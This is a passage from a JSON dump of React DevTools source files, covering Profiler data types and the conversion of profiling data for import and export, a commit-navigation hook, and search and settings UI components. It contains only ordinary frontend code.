null,\n\n  // Map of Fiber (ID) to actual duration for this commit;\n  // Fibers that did not render will not have entries in this Map.\n  fiberActualDurations: Map<number, number>,\n\n  // Map of Fiber (ID) to \"self duration\" for this commit;\n  // Fibers that did not render will not have entries in this Map.\n  fiberSelfDurations: Map<number, number>,\n\n  // How long was the passive commit phase?\n  // Note that not all builds of React expose this property.\n  passiveEffectDuration: number | null,\n\n  // Priority level of the commit (if React provided this info)\n  priorityLevel: string | null,\n\n  // When did this commit occur (relative to the start of profiling)\n  timestamp: number,\n\n  // Fiber(s) responsible for scheduling this update.\n  updaters: Array<SerializedElement> | null,\n};\n\nexport type ProfilingDataForRootFrontend = {\n  // Timing, duration, and other metadata about each commit.\n  commitData: Array<CommitDataFrontend>,\n\n  // Display name of the nearest descendant component (ideally a function or class component).\n  // This value is used by the root selector UI.\n  displayName: string,\n\n  // Map of fiber id to (initial) tree base duration when Profiling session was started.\n  // This info can be used along with commitOperations to reconstruct the tree for any commit.\n  initialTreeBaseDurations: Map<number, number>,\n\n  // List of tree mutation that occur during profiling.\n  // These mutations can be used along with initial snapshots to reconstruct the tree for any commit.\n  operations: Array<Array<number>>,\n\n  // Identifies the root this profiler data corresponds to.\n  rootID: number,\n\n  // Map of fiber id to node when the Profiling session was started.\n  // This info can be used along with commitOperations to reconstruct the tree for any commit.\n  snapshots: Map<number, SnapshotNode>,\n};\n\n// Combination of profiling data collected by the renderer interface (backend) and Store (frontend).\nexport type ProfilingDataFrontend = {\n  // Legacy profiling data is per renderer + root.\n  dataForRoots: Map<number, ProfilingDataForRootFrontend>,\n\n  // Timeline data is per rederer.\n  timelineData: Array<TimelineData>,\n\n  // Some functionality should be disabled for imported data.\n  // e.g. DevTools should not try to sync selection between Components and Profiler tabs,\n  // even if there are Fibers with the same IDs.\n  imported: boolean,\n};\n\nexport type CommitDataExport = {\n  changeDescriptions: Array<[number, ChangeDescription]> | null,\n  duration: number,\n  effectDuration: number | null,\n  // Tuple of fiber ID and actual duration\n  fiberActualDurations: Array<[number, number]>,\n  // Tuple of fiber ID and computed \"self\" duration\n  fiberSelfDurations: Array<[number, number]>,\n  passiveEffectDuration: number | null,\n  priorityLevel: string | null,\n  timestamp: number,\n  updaters: Array<SerializedElement> | null,\n};\n\nexport type ProfilingDataForRootExport = {\n  commitData: Array<CommitDataExport>,\n  displayName: string,\n  // Tuple of Fiber ID and base duration\n  initialTreeBaseDurations: Array<[number, number]>,\n  operations: Array<Array<number>>,\n  rootID: number,\n  snapshots: Array<[number, SnapshotNode]>,\n};\n\n// Serializable version of ProfilingDataFrontend data.\nexport type ProfilingDataExport = {\n  version: 5,\n\n  // Legacy profiling data is per renderer + root.\n  dataForRoots: Array<ProfilingDataForRootExport>,\n\n  // Timeline data is per rederer.\n  // Note that old exported profiles won't contain this key.\n  timelineData?: Array<TimelineDataExport>,\n};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/useCommitFilteringAndNavigation.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {useCallback, useMemo, useState} from 'react';\nimport {useLocalStorage} from '../hooks';\n\nimport type {CommitDataFrontend} from './types';\n\nexport type CommitFilteringAndNavigation = {\n  isCommitFilterEnabled: boolean,\n  setIsCommitFilterEnabled: (value: boolean) => void,\n  minCommitDuration: number,\n  setMinCommitDuration: (value: number) => void,\n\n  // Selection state\n  selectedCommitIndex: number | null,\n  selectCommitIndex: (value: number | null) => void,\n\n  // Filtered data\n  filteredCommitIndices: Array<number>,\n  selectedFilteredCommitIndex: number | null,\n\n  // Navigation\n  selectNextCommitIndex: () => void,\n  selectPrevCommitIndex: () => void,\n};\n\nexport function useCommitFilteringAndNavigation(\n  commitData: Array<CommitDataFrontend>,\n): CommitFilteringAndNavigation {\n  // Filter settings persisted to localStorage\n  const [isCommitFilterEnabled, setIsCommitFilterEnabledValue] =\n    useLocalStorage<boolean>('React::DevTools::isCommitFilterEnabled', false);\n  const [minCommitDuration, setMinCommitDurationValue] =\n    useLocalStorage<number>('minCommitDuration', 0);\n\n  // Currently selected commit index (in the unfiltered list)\n  const [selectedCommitIndex, selectCommitIndex] = useState<number | null>(\n    null,\n  );\n\n  // Reset commit index when commitData changes (e.g., when switching roots).\n  const [previousCommitData, setPreviousCommitData] =\n    useState<Array<CommitDataFrontend>>(commitData);\n  if (previousCommitData !== commitData) {\n    setPreviousCommitData(commitData);\n    selectCommitIndex(commitData.length > 0 ? 0 : null);\n  }\n\n  const calculateFilteredIndices = useCallback(\n    (enabled: boolean, minDuration: number): Array<number> => {\n      return commitData.reduce((reduced: Array<number>, commitDatum, index) => {\n        if (!enabled || commitDatum.duration >= minDuration) {\n          reduced.push(index);\n        }\n        return reduced;\n      }, ([]: Array<number>));\n    },\n    [commitData],\n  );\n\n  const findFilteredIndex = useCallback(\n    (commitIndex: number | null, filtered: Array<number>): number | null => {\n      if (commitIndex === null) return null;\n      for (let i = 0; i < filtered.length; i++) {\n        if (filtered[i] === commitIndex) {\n          return i;\n        }\n      }\n      return null;\n    },\n    [],\n  );\n\n  // Adjust selection when filter settings change to keep a valid selection\n  const adjustSelectionAfterFilterChange = useCallback(\n    (newFilteredIndices: Array<number>) => {\n      const currentSelectedIndex = selectedCommitIndex;\n      const selectedFilteredIndex = findFilteredIndex(\n        currentSelectedIndex,\n        newFilteredIndices,\n      );\n\n      if (newFilteredIndices.length === 0) {\n        // No commits pass the filter - clear selection\n        selectCommitIndex(null);\n      } else if (currentSelectedIndex === null) {\n        // No commit was selected - select first available\n        selectCommitIndex(newFilteredIndices[0]);\n      } else if (selectedFilteredIndex === null) {\n        // Currently selected commit was filtered out - find closest commit before it\n        let closestBefore = null;\n        for (let i = newFilteredIndices.length - 1; i >= 0; i--) {\n          if (newFilteredIndices[i] < currentSelectedIndex) {\n            closestBefore = newFilteredIndices[i];\n            break;\n          }\n        }\n        // If no commit before it, use the first available\n        selectCommitIndex(\n          closestBefore !== null ? closestBefore : newFilteredIndices[0],\n        );\n      } else if (selectedFilteredIndex >= newFilteredIndices.length) {\n        // Filtered position is out of bounds - clamp to last available\n        selectCommitIndex(newFilteredIndices[newFilteredIndices.length - 1]);\n      }\n      // Otherwise, the current selection is still valid in the filtered list, keep it\n    },\n    [findFilteredIndex, selectedCommitIndex, selectCommitIndex],\n  );\n\n  const filteredCommitIndices = useMemo(\n    () => calculateFilteredIndices(isCommitFilterEnabled, minCommitDuration),\n    [calculateFilteredIndices, isCommitFilterEnabled, minCommitDuration],\n  );\n\n  const selectedFilteredCommitIndex = useMemo(\n    () => findFilteredIndex(selectedCommitIndex, filteredCommitIndices),\n    [findFilteredIndex, selectedCommitIndex, filteredCommitIndices],\n  );\n\n  const selectNextCommitIndex = useCallback(() => {\n    if (\n      selectedFilteredCommitIndex === null ||\n      filteredCommitIndices.length === 0\n    ) {\n      return;\n    }\n    let nextCommitIndex = selectedFilteredCommitIndex + 1;\n    if (nextCommitIndex === filteredCommitIndices.length) {\n      nextCommitIndex = 0;\n    }\n    selectCommitIndex(filteredCommitIndices[nextCommitIndex]);\n  }, [selectedFilteredCommitIndex, filteredCommitIndices, selectCommitIndex]);\n\n  const selectPrevCommitIndex = useCallback(() => {\n    if (\n      selectedFilteredCommitIndex === null ||\n      filteredCommitIndices.length === 0\n    ) {\n      return;\n    }\n    let prevCommitIndex = selectedFilteredCommitIndex - 1;\n    if (prevCommitIndex < 0) {\n      prevCommitIndex = filteredCommitIndices.length - 1;\n    }\n    selectCommitIndex(filteredCommitIndices[prevCommitIndex]);\n  }, [selectedFilteredCommitIndex, filteredCommitIndices, selectCommitIndex]);\n\n  // Setters that also adjust selection when filter changes\n  const setIsCommitFilterEnabled = useCallback(\n    (value: boolean) => {\n      setIsCommitFilterEnabledValue(value);\n\n      const newFilteredIndices = calculateFilteredIndices(\n        value,\n        minCommitDuration,\n      );\n\n      adjustSelectionAfterFilterChange(newFilteredIndices);\n    },\n    [\n      setIsCommitFilterEnabledValue,\n      calculateFilteredIndices,\n      minCommitDuration,\n      adjustSelectionAfterFilterChange,\n    ],\n  );\n\n  const setMinCommitDuration = useCallback(\n    (value: number) => {\n      setMinCommitDurationValue(value);\n\n      const newFilteredIndices = calculateFilteredIndices(\n        isCommitFilterEnabled,\n        value,\n      );\n\n      adjustSelectionAfterFilterChange(newFilteredIndices);\n    },\n    [\n      setMinCommitDurationValue,\n      calculateFilteredIndices,\n      isCommitFilterEnabled,\n      adjustSelectionAfterFilterChange,\n    ],\n  );\n\n  return {\n    isCommitFilterEnabled,\n    setIsCommitFilterEnabled,\n    minCommitDuration,\n    setMinCommitDuration,\n    selectedCommitIndex,\n    selectCommitIndex,\n    filteredCommitIndices,\n    selectedFilteredCommitIndex,\n    selectNextCommitIndex,\n    selectPrevCommitIndex,\n  };\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/utils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {PROFILER_EXPORT_VERSION} from 'react-devtools-shared/src/constants';\nimport {backendToFrontendSerializedElementMapper} from 'react-devtools-shared/src/utils';\n\nimport type {ProfilingDataBackend} from 'react-devtools-shared/src/backend/types';\nimport type {\n  ProfilingDataExport,\n  ProfilingDataForRootExport,\n  ProfilingDataForRootFrontend,\n  ProfilingDataFrontend,\n  SnapshotNode,\n} from './types';\nimport type {\n  TimelineData,\n  TimelineDataExport,\n} from 'react-devtools-timeline/src/types';\n\nconst commitGradient = [\n  'var(--color-commit-gradient-0)',\n  'var(--color-commit-gradient-1)',\n  'var(--color-commit-gradient-2)',\n  'var(--color-commit-gradient-3)',\n  'var(--color-commit-gradient-4)',\n  'var(--color-commit-gradient-5)',\n  'var(--color-commit-gradient-6)',\n  'var(--color-commit-gradient-7)',\n  'var(--color-commit-gradient-8)',\n  'var(--color-commit-gradient-9)',\n];\n\n// Combines info from the Store (frontend) and renderer interfaces (backend) into the format required by the Profiler UI.\n// This format can then be quickly exported (and re-imported).\nexport function prepareProfilingDataFrontendFromBackendAndStore(\n  dataBackends: Array<ProfilingDataBackend>,\n  operationsByRootID: Map<number, Array<Array<number>>>,\n  snapshotsByRootID: Map<number, Map<number, SnapshotNode>>,\n): ProfilingDataFrontend {\n  const dataForRoots: Map<number, ProfilingDataForRootFrontend> = new Map();\n\n  const timelineDataArray = [];\n\n  dataBackends.forEach(dataBackend => {\n    const {timelineData} = dataBackend;\n    if (timelineData != null) {\n      const {\n        batchUIDToMeasuresKeyValueArray,\n        internalModuleSourceToRanges,\n        laneToLabelKeyValueArray,\n        laneToReactMeasureKeyValueArray,\n        ...rest\n      } = timelineData;\n\n      timelineDataArray.push({\n        ...rest,\n\n        // Most of the data is safe to parse as-is,\n        // but we need to convert the nested Arrays back to Maps.\n        batchUIDToMeasuresMap: new Map(batchUIDToMeasuresKeyValueArray),\n        internalModuleSourceToRanges: new Map(internalModuleSourceToRanges),\n        laneToLabelMap: new Map(laneToLabelKeyValueArray),\n        laneToReactMeasureMap: new Map(laneToReactMeasureKeyValueArray),\n      });\n    }\n\n    dataBackend.dataForRoots.forEach(\n      ({commitData, displayName, initialTreeBaseDurations, rootID}) => {\n        const operations = operationsByRootID.get(rootID);\n        if (operations == null) {\n          throw Error(\n            `Could not find profiling operations for root \"${rootID}\"`,\n          );\n        }\n\n        const snapshots = snapshotsByRootID.get(rootID);\n        if (snapshots == null) {\n          throw Error(\n            `Could not find profiling snapshots for root \"${rootID}\"`,\n          );\n        }\n\n        // Do not filter empty commits from the profiler data!\n        // Hiding \"empty\" commits might cause confusion too.\n        // A commit *did happen* even if none of the components the Profiler is showing were involved.\n        const convertedCommitData = commitData.map(\n          (commitDataBackend, commitIndex) => ({\n            changeDescriptions:\n              commitDataBackend.changeDescriptions != null\n                ? new Map(commitDataBackend.changeDescriptions)\n                : null,\n            duration: commitDataBackend.duration,\n            effectDuration: commitDataBackend.effectDuration,\n            fiberActualDurations: new Map(\n              commitDataBackend.fiberActualDurations,\n            ),\n            fiberSelfDurations: new Map(commitDataBackend.fiberSelfDurations),\n            passiveEffectDuration: commitDataBackend.passiveEffectDuration,\n            priorityLevel: commitDataBackend.priorityLevel,\n            timestamp: commitDataBackend.timestamp,\n            updaters:\n              commitDataBackend.updaters !== null\n                ? commitDataBackend.updaters.map(\n                    backendToFrontendSerializedElementMapper,\n                  )\n                : null,\n          }),\n        );\n\n        dataForRoots.set(rootID, {\n          commitData: convertedCommitData,\n          displayName,\n          initialTreeBaseDurations: new Map(initialTreeBaseDurations),\n          operations,\n          rootID,\n          snapshots,\n        });\n      },\n    );\n  });\n\n  return {dataForRoots, imported: false, timelineData: timelineDataArray};\n}\n\n// Converts a Profiling data export into the format required by the Store.\nexport function prepareProfilingDataFrontendFromExport(\n  profilingDataExport: ProfilingDataExport,\n): ProfilingDataFrontend {\n  const {version} = profilingDataExport;\n\n  if (version !== PROFILER_EXPORT_VERSION) {\n    throw Error(\n      `Unsupported profile export version \"${version}\". Supported version is \"${PROFILER_EXPORT_VERSION}\".`,\n    );\n  }\n\n  const timelineData: Array<TimelineData> = profilingDataExport.timelineData\n    ? profilingDataExport.timelineData.map(\n        ({\n          batchUIDToMeasuresKeyValueArray,\n          componentMeasures,\n          duration,\n          flamechart,\n          internalModuleSourceToRanges,\n          laneToLabelKeyValueArray,\n          laneToReactMeasureKeyValueArray,\n          nativeEvents,\n          networkMeasures,\n          otherUserTimingMarks,\n          reactVersion,\n          schedulingEvents,\n          snapshots,\n          snapshotHeight,\n          startTime,\n          suspenseEvents,\n          thrownErrors,\n        }) => ({\n          // Most of the data is safe to parse as-is,\n          // but we need to convert the nested Arrays back to Maps.\n          batchUIDToMeasuresMap: new Map(batchUIDToMeasuresKeyValueArray),\n          componentMeasures,\n          duration,\n          flamechart,\n          internalModuleSourceToRanges: new Map(internalModuleSourceToRanges),\n          laneToLabelMap: new Map(laneToLabelKeyValueArray),\n          laneToReactMeasureMap: new Map(laneToReactMeasureKeyValueArray),\n          nativeEvents,\n          networkMeasures,\n          otherUserTimingMarks,\n          reactVersion,\n          schedulingEvents,\n          snapshots,\n          snapshotHeight,\n          startTime,\n          suspenseEvents,\n          thrownErrors,\n        }),\n      )\n    : [];\n\n  const dataForRoots: Map<number, ProfilingDataForRootFrontend> = new Map();\n  profilingDataExport.dataForRoots.forEach(\n    ({\n      commitData,\n      displayName,\n      initialTreeBaseDurations,\n      operations,\n      rootID,\n      snapshots,\n    }) => {\n      dataForRoots.set(rootID, {\n        commitData: commitData.map(\n          ({\n            changeDescriptions,\n            duration,\n            effectDuration,\n            fiberActualDurations,\n            fiberSelfDurations,\n            passiveEffectDuration,\n            priorityLevel,\n            timestamp,\n            updaters,\n          }) => ({\n            changeDescriptions:\n              changeDescriptions != null ? new Map(changeDescriptions) : null,\n            duration,\n            effectDuration,\n            fiberActualDurations: new Map(fiberActualDurations),\n            fiberSelfDurations: new Map(fiberSelfDurations),\n            passiveEffectDuration,\n            priorityLevel,\n            timestamp,\n            updaters,\n          }),\n        ),\n        displayName,\n        initialTreeBaseDurations: new Map(initialTreeBaseDurations),\n        operations,\n        rootID,\n        snapshots: new Map(snapshots),\n      });\n    },\n  );\n\n  return {\n    dataForRoots,\n    imported: true,\n    timelineData,\n  };\n}\n\n// Converts a Store Profiling data into a format that can be safely (JSON) serialized for export.\nexport function prepareProfilingDataExport(\n  profilingDataFrontend: ProfilingDataFrontend,\n): ProfilingDataExport {\n  const timelineData: Array<TimelineDataExport> =\n    profilingDataFrontend.timelineData.map(\n      ({\n        batchUIDToMeasuresMap,\n        componentMeasures,\n        duration,\n        flamechart,\n        internalModuleSourceToRanges,\n        laneToLabelMap,\n        laneToReactMeasureMap,\n        nativeEvents,\n        networkMeasures,\n        otherUserTimingMarks,\n        reactVersion,\n        schedulingEvents,\n        snapshots,\n        snapshotHeight,\n        startTime,\n        suspenseEvents,\n        thrownErrors,\n      }) => ({\n        // Most of the data is safe to serialize as-is,\n        // but we need to convert the Maps to nested Arrays.\n        batchUIDToMeasuresKeyValueArray: Array.from(\n          batchUIDToMeasuresMap.entries(),\n        ),\n        componentMeasures: componentMeasures,\n        duration,\n        flamechart,\n        internalModuleSourceToRanges: Array.from(\n          internalModuleSourceToRanges.entries(),\n        ),\n        laneToLabelKeyValueArray: Array.from(laneToLabelMap.entries()),\n        laneToReactMeasureKeyValueArray: Array.from(\n          laneToReactMeasureMap.entries(),\n        ),\n        nativeEvents,\n        networkMeasures,\n        otherUserTimingMarks,\n        reactVersion,\n        schedulingEvents,\n        snapshots,\n        snapshotHeight,\n        startTime,\n        suspenseEvents,\n        thrownErrors,\n      }),\n    );\n\n  const dataForRoots: Array<ProfilingDataForRootExport> = [];\n  profilingDataFrontend.dataForRoots.forEach(\n    ({\n      commitData,\n      displayName,\n      initialTreeBaseDurations,\n      operations,\n      rootID,\n      snapshots,\n    }) => {\n      dataForRoots.push({\n        commitData: commitData.map(\n          ({\n            changeDescriptions,\n            duration,\n            effectDuration,\n            fiberActualDurations,\n            fiberSelfDurations,\n            passiveEffectDuration,\n            priorityLevel,\n            timestamp,\n            updaters,\n          }) => ({\n            changeDescriptions:\n              changeDescriptions != null\n                ? Array.from(changeDescriptions.entries())\n                : null,\n            duration,\n            effectDuration,\n            fiberActualDurations: Array.from(fiberActualDurations.entries()),\n            fiberSelfDurations: Array.from(fiberSelfDurations.entries()),\n            passiveEffectDuration,\n            priorityLevel,\n            timestamp,\n            updaters,\n          }),\n        ),\n        displayName,\n        initialTreeBaseDurations: Array.from(\n          initialTreeBaseDurations.entries(),\n        ),\n        operations,\n        rootID,\n        snapshots: Array.from(snapshots.entries()),\n      });\n    },\n  );\n\n  return {\n    version: PROFILER_EXPORT_VERSION,\n    dataForRoots,\n    timelineData,\n  };\n}\n\nexport const getGradientColor = (value: number): string => {\n  const maxIndex = commitGradient.length - 1;\n  let index;\n  if (Number.isNaN(value)) {\n    index = 0;\n  } else if (!Number.isFinite(value)) {\n    index = maxIndex;\n  } else {\n    index = Math.max(0, Math.min(maxIndex, value)) * maxIndex;\n  }\n  return commitGradient[Math.round(index)];\n};\n\nexport const formatDuration = (duration: number): number | string =>\n  Math.round(duration * 10) / 10 || '<0.1';\nexport const formatPercentage = (percentage: number): number =>\n  Math.round(percentage * 100);\nexport const formatTime = (timestamp: number): number =>\n  Math.round(Math.round(timestamp) / 100) / 10;\n\nexport const scale =\n  (\n    minValue: number,\n    maxValue: number,\n    minRange: number,\n    maxRange: number,\n  ): ((value: number, fallbackValue: number) => number) =>\n  (value: number, fallbackValue: number) =>\n    maxValue - minValue === 0\n      ? fallbackValue\n      : ((value - minValue) / (maxValue - minValue)) * (maxRange - minRange);\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ReactLogo.css",
    "content": ".ReactLogo {\n  width: 1.75rem;\n  height: 1.75rem;\n  margin: 0 0.75rem 0 0.25rem;\n  color: var(--color-button-active);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ReactLogo.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport styles from './ReactLogo.css';\n\ntype Props = {\n  className?: string,\n};\n\nexport default function ReactLogo({className}: Props): React.Node {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={`${styles.ReactLogo} ${className || ''}`}\n      viewBox=\"-11.5 -10.23174 23 20.46348\">\n      <circle cx=\"0\" cy=\"0\" r=\"2.05\" fill=\"currentColor\" />\n      <g stroke=\"currentColor\" strokeWidth=\"1\" fill=\"none\">\n        <ellipse rx=\"11\" ry=\"4.2\" />\n        <ellipse rx=\"11\" ry=\"4.2\" transform=\"rotate(60)\" />\n        <ellipse rx=\"11\" ry=\"4.2\" transform=\"rotate(120)\" />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/SearchInput.css",
    "content": ".SearchInput {\n  flex: 1 1;\n  display: flex;\n  align-items: center;\n}\n\n.Input {\n  flex: 1 1 100px;\n  width: 100px;\n  font-size: var(--font-size-sans-large);\n  outline: none;\n  border: none;\n  background-color: var(--color-background);\n  color: var(--color-text);\n  padding-left: 1.5rem;\n  margin-left: -1rem;\n}\n\n.InputIcon {\n  pointer-events: none;\n  z-index: 2;\n  color: var(--color-dimmer);\n}\n\n.IndexLabel {\n  color: var(--color-dim);\n  font-size: var(--font-size-sans-normal);\n  white-space: pre;\n}\n\n.LeftVRule{\n  height: 20px;\n  width: 1px;\n  background-color: var(--color-border);\n}\n.LeftVRule {\n  margin: 0 0.25rem 0 0.5rem;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/SearchInput.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useEffect, useRef} from 'react';\nimport Button from './Button';\nimport ButtonIcon from './ButtonIcon';\nimport Icon from './Icon';\n\nimport styles from './SearchInput.css';\n\ntype Props = {\n  goToNextResult: () => void,\n  goToPreviousResult: () => void,\n  placeholder: string,\n  search: (text: string) => void,\n  searchIndex: number,\n  searchResultsCount: number,\n  searchText: string,\n  testName?: ?string,\n};\n\nexport default function SearchInput({\n  goToNextResult,\n  goToPreviousResult,\n  placeholder,\n  search,\n  searchIndex,\n  searchResultsCount,\n  searchText,\n  testName,\n}: Props): React.Node {\n  const inputRef = useRef<HTMLInputElement | null>(null);\n\n  const resetSearch = () => search('');\n\n  // $FlowFixMe[missing-local-annot]\n  const handleChange = ({currentTarget}) => {\n    search(currentTarget.value);\n  };\n  // $FlowFixMe[missing-local-annot]\n  const handleKeyPress = ({key, shiftKey}) => {\n    if (key === 'Enter') {\n      if (shiftKey) {\n        goToPreviousResult();\n      } else {\n        goToNextResult();\n      }\n    }\n  };\n\n  // Auto-focus search input\n  useEffect(() => {\n    if (inputRef.current === null) {\n      return () => {};\n    }\n\n    const handleKeyDown = (event: KeyboardEvent) => {\n      const {key, metaKey} = event;\n      if (key === 'f' && metaKey) {\n        const inputElement = inputRef.current;\n        if (inputElement !== null) {\n          inputElement.focus();\n          event.preventDefault();\n          event.stopPropagation();\n        }\n      }\n    };\n\n    // It's important to listen to the ownerDocument to support the browser extension.\n    // Here we use portals to render individual tabs (e.g. Profiler),\n    // and the root document might belong to a different window.\n    const ownerDocumentElement = inputRef.current.ownerDocument.documentElement;\n    if (ownerDocumentElement === null) {\n      return;\n    }\n    ownerDocumentElement.addEventListener('keydown', handleKeyDown);\n\n    return () =>\n      ownerDocumentElement.removeEventListener('keydown', handleKeyDown);\n  }, []);\n\n  return (\n    <div className={styles.SearchInput} data-testname={testName}>\n      <Icon className={styles.InputIcon} type=\"search\" />\n      <input\n        data-testname={testName ? `${testName}-Input` : undefined}\n        className={styles.Input}\n        onChange={handleChange}\n        onKeyPress={handleKeyPress}\n        placeholder={placeholder}\n        ref={inputRef}\n        value={searchText}\n      />\n      {!!searchText && (\n        <React.Fragment>\n          <span\n            className={styles.IndexLabel}\n            data-testname={testName ? `${testName}-ResultsCount` : undefined}>\n            {Math.min(searchIndex + 1, searchResultsCount)} |{' '}\n            {searchResultsCount}\n          </span>\n          <div className={styles.LeftVRule} />\n          <Button\n            data-testname={testName ? `${testName}-PreviousButton` : undefined}\n            disabled={!searchText}\n            onClick={goToPreviousResult}\n            title={\n              <React.Fragment>\n                Scroll to previous search result (<kbd>Shift</kbd> +{' '}\n                <kbd>Enter</kbd>)\n              </React.Fragment>\n            }>\n            <ButtonIcon type=\"up\" />\n          </Button>\n          <Button\n            data-testname={testName ? `${testName}-NextButton` : undefined}\n            disabled={!searchText}\n            onClick={goToNextResult}\n            title={\n              <React.Fragment>\n                Scroll to next search result (<kbd>Enter</kbd>)\n              </React.Fragment>\n            }>\n            <ButtonIcon type=\"down\" />\n          </Button>\n          <Button\n            data-testname={testName ? `${testName}-ResetButton` : undefined}\n            disabled={!searchText}\n            onClick={resetSearch}\n            title=\"Reset search\">\n            <ButtonIcon type=\"close\" />\n          </Button>\n        </React.Fragment>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Settings/CodeEditorByDefault.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR} from '../../../constants';\nimport {useLocalStorage} from '../hooks';\n\nimport styles from './SettingsShared.css';\n\nexport default function CodeEditorByDefault({\n  onChange,\n}: {\n  onChange?: boolean => void,\n}): React.Node {\n  const [alwaysOpenInEditor, setAlwaysOpenInEditor] = useLocalStorage<boolean>(\n    LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR,\n    false,\n  );\n\n  return (\n    <label className={styles.SettingRow}>\n      <input\n        type=\"checkbox\"\n        checked={alwaysOpenInEditor}\n        onChange={({currentTarget}) => {\n          setAlwaysOpenInEditor(currentTarget.checked);\n          if (onChange) {\n            onChange(currentTarget.checked);\n          }\n        }}\n        className={styles.SettingRowCheckbox}\n      />\n      Open local files directly in your code editor\n    </label>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Settings/CodeEditorOptions.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {\n  LOCAL_STORAGE_OPEN_IN_EDITOR_URL,\n  LOCAL_STORAGE_OPEN_IN_EDITOR_URL_PRESET,\n} from '../../../constants';\nimport {useLocalStorage} from '../hooks';\nimport {\n  getDefaultPreset,\n  getDefaultOpenInEditorURL,\n} from 'react-devtools-shared/src/utils';\n\nimport styles from './SettingsShared.css';\n\nexport default function CodeEditorOptions({\n  environmentNames,\n}: {\n  environmentNames: Promise<Array<string>>,\n}): React.Node {\n  const [openInEditorURLPreset, setOpenInEditorURLPreset] = useLocalStorage<\n    'vscode' | 'custom',\n  >(LOCAL_STORAGE_OPEN_IN_EDITOR_URL_PRESET, getDefaultPreset());\n\n  const [openInEditorURL, setOpenInEditorURL] = useLocalStorage<string>(\n    LOCAL_STORAGE_OPEN_IN_EDITOR_URL,\n    getDefaultOpenInEditorURL(),\n  );\n\n  return (\n    <>\n      <select\n        value={openInEditorURLPreset}\n        onChange={({currentTarget}) => {\n          const selectedValue = currentTarget.value;\n          setOpenInEditorURLPreset(selectedValue);\n        }}>\n        <option value=\"vscode\">VS Code</option>\n        <option value=\"custom\">Custom</option>\n      </select>\n      {openInEditorURLPreset === 'custom' && (\n        <input\n          className={styles.Input}\n          type=\"text\"\n          placeholder={getDefaultOpenInEditorURL()}\n          value={openInEditorURL}\n          onChange={event => {\n            setOpenInEditorURL(event.target.value);\n          }}\n        />\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Settings/ComponentsSettings.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {\n  useCallback,\n  useContext,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n  use,\n} from 'react';\nimport {useSubscription} from '../hooks';\nimport {StoreContext} from '../context';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport Toggle from '../Toggle';\nimport {SettingsContext} from '../Settings/SettingsContext';\nimport {\n  ComponentFilterDisplayName,\n  ComponentFilterElementType,\n  ComponentFilterHOC,\n  ComponentFilterLocation,\n  ComponentFilterEnvironmentName,\n  ComponentFilterActivitySlice,\n  ElementTypeClass,\n  ElementTypeContext,\n  ElementTypeFunction,\n  ElementTypeForwardRef,\n  ElementTypeHostComponent,\n  ElementTypeMemo,\n  ElementTypeOtherOrUnknown,\n  ElementTypeProfiler,\n  ElementTypeSuspense,\n  ElementTypeActivity,\n  ElementTypeViewTransition,\n} from 'react-devtools-shared/src/frontend/types';\n\nimport styles from './SettingsShared.css';\n\nimport type {\n  BooleanComponentFilter,\n  ComponentFilter,\n  ComponentFilterType,\n  ElementType,\n  ElementTypeComponentFilter,\n  RegExpComponentFilter,\n  EnvironmentNameComponentFilter,\n} from 'react-devtools-shared/src/frontend/types';\nimport {isInternalFacebookBuild} from 'react-devtools-feature-flags';\n\nexport default function ComponentsSettings({\n  environmentNames,\n}: {\n  environmentNames: Promise<Array<string>>,\n}): React.Node {\n  const store = useContext(StoreContext);\n  const {parseHookNames, setParseHookNames} = useContext(SettingsContext);\n\n  const collapseNodesByDefaultSubscription = useMemo(\n    () => ({\n      getCurrentValue: () => store.collapseNodesByDefault,\n      subscribe: (callback: Function) => {\n        store.addListener('collapseNodesByDefault', callback);\n        return () => store.removeListener('collapseNodesByDefault', callback);\n      },\n    }),\n    [store],\n  );\n  const collapseNodesByDefault = useSubscription<boolean>(\n    collapseNodesByDefaultSubscription,\n  );\n\n  const updateCollapseNodesByDefault = useCallback(\n    ({currentTarget}: $FlowFixMe) => {\n      store.collapseNodesByDefault = !currentTarget.checked;\n    },\n    [store],\n  );\n\n  const 